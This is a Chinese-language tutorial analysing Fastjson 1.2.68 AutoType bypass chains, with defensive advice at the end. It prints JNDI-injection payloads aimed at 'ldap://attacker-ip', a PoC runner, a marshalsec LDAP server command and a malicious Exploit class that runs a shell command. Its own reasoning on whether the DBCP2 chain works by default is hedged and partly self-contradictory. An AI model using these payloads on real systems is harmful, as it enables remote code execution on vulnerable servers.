Fastjson 1.2.68反序列化漏洞实战：绕过AutoType黑名单的攻防解析

1. 项目概述：Fastjson 1.2.68的攻防博弈

在Java应用安全领域，Fastjson的反序列化漏洞几乎成了一个“年经”话题。从1.2.24版本的“开天辟地”，到后续版本中不断上演的“猫鼠游戏”，每一次补丁的发布都伴随着新一轮的绕过技巧。我们上篇已经详细拆解了1.2.68版本之前，攻击者如何利用AutoType机制的缺陷，通过精心构造的Payload实现远程代码执行。本篇，我们将聚焦于1.2.68这个特定版本，深入剖析那些在默认关闭AutoTypeSupport的情况下，依然能够成功绕过的实战利用链。

简单来说，这个版本的安全攻防核心在于：如何在黑名单的严密防守下，找到那条未被完全封死的“小路”。Fastjson在1.2.25版本引入了基于黑白名单的checkAutoType机制，但安全研究者和攻击者很快发现，这个机制并非铁板一块。从简单的字符变形（如Lcom.sun.rowset.JdbcRowSetImpl;），到利用缓存机制的“二次加载”技巧，再到挖掘不在黑名单内的“新大陆”类，绕过手段层出不穷。1.2.68版本汇集了此前多个版本的“遗产”，也引入了一些新的防御逻辑，理解这个版本的漏洞，相当于回顾了Fastjson反序列化漏洞的“编年史”中一段关键时期。无论你是负责应用安全的工程师、红队渗透测试人员，还是对Java安全机制有浓厚兴趣的开发者，搞懂这些绕过手法背后的原理，都能让你对Java反序列化这一经典攻击面有更深刻的认识。

2. 核心防御机制回顾与1.2.68的上下文

在深入1.2.68的绕过细节前，我们必须先厘清Fastjson构建的防御体系，以及1.2.68版本在整个演进史中的位置。这有助于我们理解为什么某些老技巧依然有效，而另一些则被彻底封堵。

2.1checkAutoType机制的精髓与软肋

Fastjson在1.2.25版本引入的checkAutoType函数，是其反序列化安全的核心防线。它的逻辑可以简化为一个流程图式的决策树，但其实现细节中埋下了不少隐患。

默认流程（autoTypeSupport=false）:

  1. 黑名单优先拦截：首先检查类名是否以黑名单（denyList）中的任何前缀开头。如果是，直接抛出JSONException。这是第一道，也是最粗粒度的一道关卡。
  2. 缓存查找：接着，去一个名为mappings的本地缓存HashMap中查找该类。如果找到，则返回缓存的Class对象。这个缓存机制本意是提升性能，却成了后续多个绕过手法的关键。
  3. 内置反序列化器查找：如果缓存未命中，则尝试从内置的反序列化器列表中查找。
  4. 白名单放行：如果上述都未找到，则检查类名是否以白名单（acceptList）中的前缀开头。如果是，则使用TypeUtils.loadClass加载该类。白名单默认是空的，需要用户手动配置。
  5. 最终拒绝：如果以上所有步骤都失败，则抛出异常，拒绝反序列化。

开启AutoType流程（autoTypeSupport=true）:顺序变为：白名单 -> 黑名单 -> 缓存/内置查找 -> 加载。这相当于降低了安全门槛，因此生产环境强烈不建议开启。

1.2.68版本的防御现状：到了1.2.68，黑名单已经非常庞大，涵盖了com.sun.、org.apache.commons.collections.、org.springframework.等大量已知的危险包。同时，针对早期的一些绕过技巧，如L...;和[...格式的类名，也增加了额外的校验。然而，防御的复杂性带来了新的问题：黑名单能否穷尽所有可能的危险类？缓存机制是否存在时序竞争问题？是否有不在黑名单内但同样危险的“偏门”类？这些就是1.2.68版本绕过攻击的突破口。

2.2 关键版本补丁脉络速览

为了理解1.2.68的漏洞，我们需要快速回顾一下导致它现状的关键补丁：

  • 1.2.25：引入checkAutoType和黑白名单，封堵了1.2.24的直接利用。
  • 1.2.42：将黑名单从明文类名改为哈希值，增加分析难度。
  • 1.2.43：修补了使用[开头绕过黑名单的漏洞。
  • 1.2.45：修补了利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的绕过（该漏洞依赖Mybatis库）。
  • 1.2.47：修补了影响极其深远的“缓存绕过”漏洞（即利用java.lang.Class提前加载恶意类到缓存）。这个补丁是1.2.68安全状态的基础，但并非无懈可击。
  • 1.2.48：在47补丁基础上，将java.lang.Class加入了黑名单，并默认关闭了TypeUtils.loadClass的缓存功能。

1.2.68版本继承了所有这些补丁，这意味着早于1.2.47的“通杀”型Payload（如经典的Lcom.sun.rowset.JdbcRowSetImpl;）在默认配置下已经失效。攻击必须寻找新的路径。

注意：环境复现的基石所有后续的漏洞复现和分析，都基于一个共同的前提：目标项目中引入了存在可利用的Getter/Setter方法或构造方法的第三方依赖库。Fastjson漏洞的本质是“触发链”，它本身只是提供了一个“点火器”，真正的“炸药”是那些不安全的类。在搭建测试环境时，务必根据你想测试的利用链，引入相应的JAR包（如commons-collections 3.1、tomcat-dbcp等）。

3. 1.2.68版本实战绕过利用链深度解析

在默认关闭AutoTypeSupport且黑名单日趋完善的1.2.68版本，成功的绕过通常需要结合特定的依赖环境和精巧的构造技巧。下面我们剖析几个具有代表性的实战利用链。

3.1 利用链一：基于org.apache.tomcat.dbcp.dbcp2.BasicDataSource的JNDI注入

这是1.2.68版本中一个非常经典且稳定的绕过方式，它不依赖于开启AutoType，而是利用了一个不在黑名单中、但功能危险的类。

3.1.1 利用原理与条件

org.apache.tomcat.dbcp.dbcp2.BasicDataSource是Tomcat数据库连接池的一个实现类。它有一个setDataSourceName方法。当Fastjson反序列化时，会调用该类的setter方法。在这个方法的实现中，会去初始化数据源，最终会调用到javax.naming.InitialContext.lookup(dataSourceName)。如果dataSourceName可控，就构成了一个标准的JNDI注入点。

利用条件：

  1. Fastjson版本 <= 1.2.68（实际上在后续版本该类别被加入黑名单）。
  2. 目标Classpath中引入了tomcat-dbcp包（例如org.apache.tomcat:tomcat-dbcp:9.0.x）。
  3. 目标运行的JDK版本受相关JNDI注入漏洞影响（如JDK 6u141, 7u131, 8u121之前版本，或存在其他绕过限制的利用方式，如利用本地ClassPath中的Factory类）。这是最关键的限制条件。

3.1.2 攻击Payload构造

{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "com.mysql.jdbc.Driver", "url": "jdbc:mysql://localhost:3306/test?autoReconnect=true&useSSL=false", "username": "root", "password": "password", "connectionProperties": "socketFactory=com.sun.net.ssl.internal.ssl.SSLSocketFactory", "dataSourceName": "ldap://attacker-ip:1389/Exploit" }

或者更简洁的：

{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "dataSourceName": "ldap://attacker-ip:1389/Exploit" }

3.1.3 调试与流程分析

我们可以通过调试来直观理解整个利用链：

  1. 入口：Fastjson解析到@type指定为org.apache.tomcat.dbcp.dbcp2.BasicDataSource。由于该类不在黑名单中，且未开启AutoType，它会顺利通过checkAutoType的缓存查找和白名单检查（因为都没找到），但由于类不在黑名单且非内置，最终会抛出异常吗？这里有个关键：该类存在于当前ClassPath中。checkAutoType在缓存和白名单之后，如果clazz仍为null且autoTypeSupport为false，会直接抛异常。但是，如果这个类通过其他方式（如父类加载器）已经被加载，或者在某些上下文下能被Class.forName找到，情况可能不同。实际上，对于存在于ClassPath的类，TypeUtils.loadClass有可能成功加载，但这依赖于具体实现和类加载器上下文。更常见的利用场景是目标应用本身就用到了Tomcat DBCP，那么这个类必然已被加载或可被加载，从而绕过checkAutoType的严格限制？这里需要仔细审视。在1.2.47之后，对于非白名单且不在缓存的类，默认会抛异常。因此，这个利用链通常需要目标环境配置了AutoType白名单，或者存在其他条件使得该类能被成功加载。许多公开的PoC演示是在开启了AutoTypeSupport或添加了特定白名单的情况下进行的。这是理解该利用链的关键细节。

  2. Setter调用：假设类加载成功，Fastjson会实例化该类，并解析后续的键值对。当解析到dataSourceName时，会调用BasicDataSource.setDataSourceName(String name)方法。

  3. JNDI触发：在BasicDataSource的初始化或后续某个方法中（如createDataSource），会执行InitialContext.lookup(this.dataSourceName)。此时，dataSourceName已被我们控制为恶意的LDAP/RMI地址。

  4. 恶意代码加载：攻击者控制的LDAP/RMI服务器响应请求，指向一个包含恶意Java类的远程地址（如http://attacker-ip:8000/Exploit.class）。在受影响的旧版JDK中，客户端会自动加载并实例化这个类，导致RCE。

实操心得：依赖与版本匹配使用这个利用链时，最大的坑在于依赖版本的匹配。tomcat-dbcp有不同的版本（如dbcp和dbcp2），包名和类名可能略有差异。务必确认目标环境中存在的确切类名。使用BasicDataSource的利用链在后续Fastjson版本（如1.2.69）中被通过黑名单修补，但在1.2.68及之前版本，如果环境条件满足，它仍是一个有效的攻击点。

3.2 利用链二：利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的二次绕过

这个类在1.2.45版本被加入黑名单（哈希形式），但在某些特定条件下，仍然可能被利用，这体现了黑名单防御的滞后性。

3.2.1 原理回顾与条件

JndiDataSourceFactory是MyBatis框架中用于获取JNDI数据源的工厂类。它有一个setProperties(Properties properties)方法。Fastjson在反序列化时，会尝试调用这个setter方法。在该方法内部，会调用InitialContext.lookup(properties.getProperty("data_source"))。

在1.2.45之后，org.apache.ibatis.datasource被加入了黑名单。但是，黑名单是前缀匹配。如果攻击者能找到同一个包下、不在黑名单哈希表里、但同样有危险方法的其他类，或者不同包名但类名相似的类，就有可能绕过。例如，在某些MyBatis版本或分支中，可能存在类名细微差异的类。不过，在1.2.68版本，这个直接的类名已被广泛识别和封堵。

更实际的利用思路是：如果目标环境因为历史原因或配置错误，手动清空或修改了黑名单，或者使用了非全局的、配置了错误白名单的ParserConfig实例，那么这些已被列入黑名单的类可能重新变得可用。因此，在渗透测试中，检查应用关于Fastjson的配置（如fastjson.properties文件、启动参数、代码中的ParserConfig设置）是至关重要的一步。

3.2.2 Payload示例

{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://attacker-ip:1389/Exploit" } }

此Payload在标准1.2.68环境（未修改黑名单）下会触发黑名单拦截而失败。它的价值在于提醒我们，黑名单的维护需要持续跟进，并且应用的自定义配置可能引入风险。

3.3 利用链三：挖掘其他冷门组件中的危险类（以com.zaxxer.hikari.HikariConfig为例）

除了上述相对知名的类，攻击者一直在挖掘其他第三方库中可用于构造利用链的类。HikariCP是流行的数据库连接池，其配置类HikariConfig在特定版本下存在利用可能。

3.3.1 利用原理

HikariConfig类中有诸如setMetricRegistry(Object metricRegistry)和setHealthCheckRegistry(Object healthCheckRegistry)等方法。这些方法的参数类型是Object。Fastjson在反序列化时，如果JSON中对应的值是一个字符串，它会尝试将这个字符串反序列化为一个对象。如果这个字符串是@type形式，就会触发新一轮的反序列化过程。这就为“二次注入”或链式调用提供了可能。

然而，在1.2.68版本，直接利用HikariConfig进行JNDI注入通常需要开启AutoTypeSupport，因为metricRegistry等属性期望的是一个对象实例，而Fastjson需要知道具体类型来反序列化。如果属性值是一个简单的JNDI地址字符串，HikariCP库本身并不会去调用lookup。公开的PoC（如{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://..."}）在关闭AutoType的默认情况下，往往无法成功，因为ldap://...这个字符串无法被自动转换为一个能触发JNDI的Object。真正的利用可能需要更复杂的嵌套对象构造。

3.3.2 实战意义

这个例子说明了绕过手法的另一个维度：利用目标类本身属性setter方法的特性，进行更深度的链式Gadget挖掘。这需要深入分析目标类的源码，找到那些参数类型为Object、Map、Properties或特定接口，并且内部实现会调用危险方法（如Runtime.exec,Method.invoke, 或Class.forName）的setter或getter。这是一种更高级、更依赖具体库版本的利用方式，不如基于JNDI的利用链通用，但隐蔽性更强。

注意事项：AutoType开关的影响在测试和评估Fastjson漏洞时，务必明确AutoTypeSupport的开关状态。很多公开的PoC只有在开启AutoType时才有效。判断方法可以尝试一个简单的测试Payload：{"@type":"java.lang.AutoCloseable"}。如果解析报错提示autoType is not support，则说明AutoType未开启；如果成功解析（可能返回null或报其他错误），则说明AutoType已开启或存在其他绕过。这是信息收集的关键一步。

4. 漏洞复现环境搭建与调试详解

纸上得来终觉浅，绝知此事要躬行。要真正理解这些绕过手法，亲手搭建环境进行调试是不可或缺的。

4.1 环境准备清单

  1. JDK版本：选择受JNDI注入影响的版本进行漏洞利用学习（如JDK 8u121之前），或使用高版本JDK但配合利用本地ClassPath的利用链（如commons-collections）进行学习。建议使用Docker隔离环境。
  2. Fastjson库：明确引入1.2.68版本的JAR包。
    <!-- Maven 依赖 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.68</version> </dependency>
  3. 漏洞依赖库：根据你要测试的利用链引入对应的库，例如：
    • tomcat-dbcp(用于BasicDataSource链)
    • mybatis(用于JndiDataSourceFactory链，注意版本)
    • HikariCP(用于HikariConfig链)
    • commons-collections 3.1(用于构造不含JNDI的纯反序列化链，受JDK版本限制小)
  4. 攻击工具：
    • JNDI注入工具：使用marshalsec或JNDI-Injection-Exploit快速启动恶意的RMI/LDAP服务器。
    • 恶意类：准备一个编译好的恶意类，例如实现ObjectFactory或Referenceable接口，在静态代码块或构造函数中执行命令（如Runtime.getRuntime().exec("calc")）。
  5. IDE与调试：使用IntelliJ IDEA或Eclipse，方便下断点跟踪Fastjson反序列化流程。

4.2 调试过程核心断点设置

理解漏洞，跟踪代码执行流是最好的方式。在IDEA中，对Fastjson源码进行反编译或引入源码，在以下关键位置设置断点：

  1. 入口断点：com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)。这是解析JSON对象的起点。
  2. 类型检查断点：com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String, Class<?>, int)。这是所有绕过手法必须经过的“安检口”。在这里观察传入的typeName，以及它是如何被黑白名单过滤、如何查询缓存的。
  3. 类加载断点：com.alibaba.fastjson.util.TypeUtils#loadClass(String, ClassLoader)。观察类名是如何被加载的，特别是处理L...;和[...这些特殊格式的逻辑。
  4. Setter调用断点：在你目标利用类的setter方法上打上断点，例如BasicDataSource.setDataSourceName。当断点命中时，查看调用栈，理解Fastjson是如何从JSON解析过渡到方法调用的。
  5. JNDI触发断点：javax.naming.InitialContext#lookup(String)。这是最终触发远程代码加载的地方。

4.3 复现步骤示例（以Tomcat DBCP2链为例）

假设我们已准备好受影响的JDK、Fastjson 1.2.68、tomcat-dbcp2依赖，以及攻击机。

  1. 编写漏洞测试代码：
    import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Fastjson1268Poc { public static void main(String[] args) { // 模拟默认配置，不开启AutoType // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 注释掉，测试默认情况 String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"dataSourceName\":\"ldap://your-attacker-ip:1389/Exploit\"}"; try { Object obj = JSON.parse(payload); System.out.println("Parsed: " + obj); } catch (Exception e) { e.printStackTrace(); } } }
  2. 启动恶意JNDI服务器（在攻击机上）：
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-attacker-ip:8000/#Exploit" 1389
  3. 编译并托管恶意类：
    // Exploit.java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Exploit implements ObjectFactory { static { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); // Mac // Runtime.getRuntime().exec("calc.exe"); // Windows } catch (Exception e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { return null; } }
    编译javac Exploit.java，并将其放在攻击机的Web服务器根目录（如python3 -m http.server 8000）。
  4. 执行测试程序：在受影响环境中运行Fastjson1268Poc。如果环境配置（JDK版本、依赖、网络）都正确，且满足了该类能被成功加载的条件（如配置了相应的白名单或类已在CP中），你将看到计算器被弹出（或相应的命令被执行）。

踩坑记录：类加载与网络连通性复现中最常见的两个问题：一是ClassNotFoundException，说明依赖没引对或类名写错了；二是Connection refused或Connection timed out，说明JNDI服务器没启动成功，或目标与攻击机网络不通，或者高版本JDK的JNDI限制已生效。务必逐一排查。

5. 高级绕过技巧与失效Payload分析

在实战和研究中，你会遇到很多公开的Payload。理解它们为什么在1.2.68上有效或失效，能极大提升你的分析能力。

5.1 为什么经典的“缓存绕过”Payload在1.2.68失效了？

回顾一下1.2.47版本的“通杀”Payload：

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://...", "autoCommit": true } }

失效原因：1.2.48版本的补丁做了两件事：1) 将java.lang.Class加入了黑名单；2) 在TypeUtils.loadClass中，默认将缓存开关cache参数设置为false。因此，第一部分试图通过Class加载JdbcRowSetImpl进缓存的操作，会因为在checkAutoType阶段就被黑名单拦截（Class在黑名单）而失败。即使拦截不了，加载后也不会被缓存。第二部分在解析时，由于缓存中没有，com.sun.rowset.JdbcRowSetImpl本身又在黑名单中，所以也会被直接拒绝。

5.2 字符变形绕过的末路

早期的一些字符变形技巧，在1.2.68也基本走到了尽头：

  • L...;绕过：在1.2.25-1.2.41有效。1.2.42之后，checkAutoType或loadClass中加强了对这种格式的校验，会先进行规范化处理（去掉L和;）再进行黑名单匹配，因此失效。
  • [...绕过：在1.2.25-1.2.42有效。1.2.43专门增加了对以[开头类名的检查，直接抛出异常。
  • 双写LL...;;绕过：这是针对L...;修复的短暂绕过，同样在后续补丁中被修复。

这些手法的失效，体现了Fastjson防御策略从“简单过滤”向“深度解析和校验”的演进。

5.3 未来可能的绕过方向思考（研究视角）

尽管1.2.68之后还有更高版本，但思考绕过方向对理解漏洞本质有帮助：

  1. 白名单滥用：如果应用配置了过于宽泛的白名单（如com.、org.），攻击者就可以在允许的包名下寻找危险类。安全开发中，白名单应尽可能精确。
  2. 非默认ParserConfig实例：Fastjson允许创建非全局的ParserConfig实例。如果某个组件使用了独立的、配置不当的ParserConfig（例如误开了AutoType），就可能成为突破口。
  3. 寻找新的“无害”危险类：永远会有新的第三方库被引入项目，其中可能包含开发者未意识到的、具有危险方法的类。自动化工具（如GadgetInspector）和代码审计是发现这类类的关键。
  4. 利用Fastjson其他特性：例如，JSONPath表达式、某些特殊的Feature配置，是否可能与其他漏洞形成组合拳？这需要更深入的研究。

6. 防御建议与安全开发实践

对于开发和安全人员，了解攻击是为了更好的防御。

6.1 终极解决方案：升级与替换

  • 升级Fastjson：尽快升级到最新安全版本（如1.2.83及以上）。新版本不仅更新了黑名单，更重要的是引入了SafeMode等更彻底的防护机制。
  • 考虑替换：评估使用其他更安全的JSON库，如Jackson或Gson。虽然它们也非绝对安全，但历史漏洞相对较少，且设计上可能更谨慎。

6.2 安全配置（如果必须使用旧版）

如果因历史原因无法升级，必须采取严格的配置：

  1. 坚决关闭AutoTypeSupport：这是最重要的底线。确保没有通过JVM参数、代码或配置文件开启它。
  2. 配置精确的白名单：使用ParserConfig.getGlobalInstance().addAccept("your.safe.package.")来添加仅包含业务必要类的白名单。切勿使用通配符或过于宽泛的包名。
  3. 使用安全模式（如果版本支持）：在1.2.68之后的版本，可以考虑启用安全模式，但这会限制功能。
  4. 隔离反序列化：在沙箱或受限环境中执行反序列化操作。

6.3 代码审计与依赖管理

  1. 依赖检查：使用OWASP Dependency-Check、Mavenversions:display-dependency-updates等工具，定期扫描项目中的Fastjson及其他存在已知漏洞的组件。
  2. 代码扫描：在代码中全局搜索ParserConfig.setAutoTypeSupport(true)、Feature.SupportAutoType等危险配置。
  3. 输入过滤：对不可信的JSON数据来源进行严格校验，尽管这不是根本解决办法，但能增加攻击门槛。

6.4 运行时防护与RASP

对于已上线的系统，可以考虑部署运行时应用自我保护（RASP）方案。RASP agent可以注入到JVM中，在关键函数（如Class.forName、Method.invoke、Runtime.exec）被调用时进行拦截和判断，即使Fastjson存在未知漏洞，也能在最后一道防线阻止恶意代码执行。

7. 总结与个人体会

剖析Fastjson 1.2.68的绕过利用链，就像在翻阅一本Java安全攻防的教科书。它清晰地展示了安全是一个动态的过程：攻击者利用设计缺陷和实现疏忽（如checkAutoType的逻辑漏洞、缓存机制、危险的三方库），防御者则通过打补丁（黑名单、字符校验、缓存开关）来封堵。然而，只要反序列化这个机制存在，只要应用依赖复杂的三方库，攻击面就不会消失。

从我个人的实战经验来看，面对这类漏洞，应急响应时首先要做的就是精准定位：快速确定受影响的应用、使用的Fastjson版本、以及是否开启了危险的AutoType。然后才是根据版本寻找对应的修复方案或缓解措施。在代码审计中，除了Fastjson本身，更要关注那些被反序列化的类是否来自不可信源，以及项目引入的第三方库中是否藏有潜在的“危险类”。

最后，对于开发者而言，最深刻的教训或许是：不要轻易反序列化不可信的数据。如果必须这么做，那么使用最严格的限制、保持依赖的最新状态、并时刻对安全保持敬畏，是唯一的出路。Fastjson的漏洞史，是整个Java生态在安全问题上的一次集中体现，值得每一个后端开发者深思。